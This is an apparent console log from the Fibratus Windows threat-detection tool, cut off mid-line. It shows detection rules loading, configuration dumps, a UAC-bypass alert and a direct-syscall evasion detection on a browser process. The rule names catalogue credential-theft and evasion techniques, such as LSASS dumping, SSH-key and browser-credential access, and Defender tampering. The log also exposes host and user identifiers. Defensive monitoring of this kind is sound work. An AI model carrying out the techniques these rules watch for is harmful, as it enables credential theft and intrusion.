C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T15:31:20+01:00 level=info msg=bootstrapping with pid 20248. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T15:31:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 enable-registry=>true enable-threadpool=>false enable-audit-api=>true enable-handle=>false enable-dns=>false enable-image=>true min-buffers=>16 enable-net=>true enable-mem=>false enable-vamap=>true flush-interval=>1s stack-enrichment=>true max-buffers=>36 enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true max-size=>100 level=>info max-age=>0] + output ......................... [ elasticsearch=>[ sniff=>false timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck=>true index-name=>fibratus bulk-workers=>1 enabled=>false flush-period=>1s template-name=>fibratus trace-log=>false gzip-compression=>false healthcheck-interval=>10s] eventlog=>[ enabled=>false level=>info] amqp=>[ passive=>false durable=>false enabled=>false timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient exchange-type=>topic vhost=>/ url=>amqp://localhost:5672] http=>[ timeout=>5s endpoints=>[] method=>POST tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s fastscan=>true skip-registry=>false excluded-files=>[] skip-mmaps=>false excluded-procs=>[] enabled=>false skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T15:31:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:31:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:32:06+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-11-21T15:32:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T15:32:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:32:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:32:41+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:32:41+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T15:32:41+01:00 level=info msg=bootstrapping with pid 2468. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T15:32:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-fileio=>true max-buffers=>36 flush-interval=>1s enable-audit-api=>true enable-image=>true enable-net=>true enable-registry=>true enable-vamap=>true enable-mem=>false enable-dns=>false buffer-size=>512 min-buffers=>16 stack-enrichment=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true max-age=>0 max-backups=>15 level=>info] + output ......................... [ http=>[ method=>POST serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s enabled=>false endpoints=>[]] amqp=>[ tls-insecure-skip-verify=>false durable=>false delivery-mode=>transient routing-key=>fibratus exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ passive=>false enabled=>false timeout=>5s exchange=>fibratus] elasticsearch=>[ flush-period=>1s gzip-compression=>false template-name=>fibratus timeout=>5s trace-log=>false index-name=>fibratus bulk-workers=>1 healthcheck-interval=>10s healthcheck=>true healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false sniff=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false skip-files=>false excluded-files=>[] skip-registry=>false fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T15:32:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:32:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:33:33+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2968354 + Pid: 12684 + Tid: 15248 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-21 15:33:32.4300269 +0100 CET + Params: base_address➜ 7ffa0f610000, checksum➜ 65938, default_address➜ 7ffa0f610000, file_path➜ C:\Windows\System32\LocationFrameworkPS.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 12684, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 12684 + Ppid: 13796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.90\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:12684 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_12684_NLKHTDNCIQGLRZLB EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1101 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ng+ciWeYNgyOU8mmJTuEKPJww4K7JAnAhy10yGTQQSE=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"JzgHPZLeOmXjlk+QVvYUyonnvlH1PL25zfRfCQfnUhc=" EFC_1812_1262719628:1 EFC_1812_1592913036:1 EFC_1812_2283032206:1 EFC_1812_2775293581:1 EFC_1812_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files 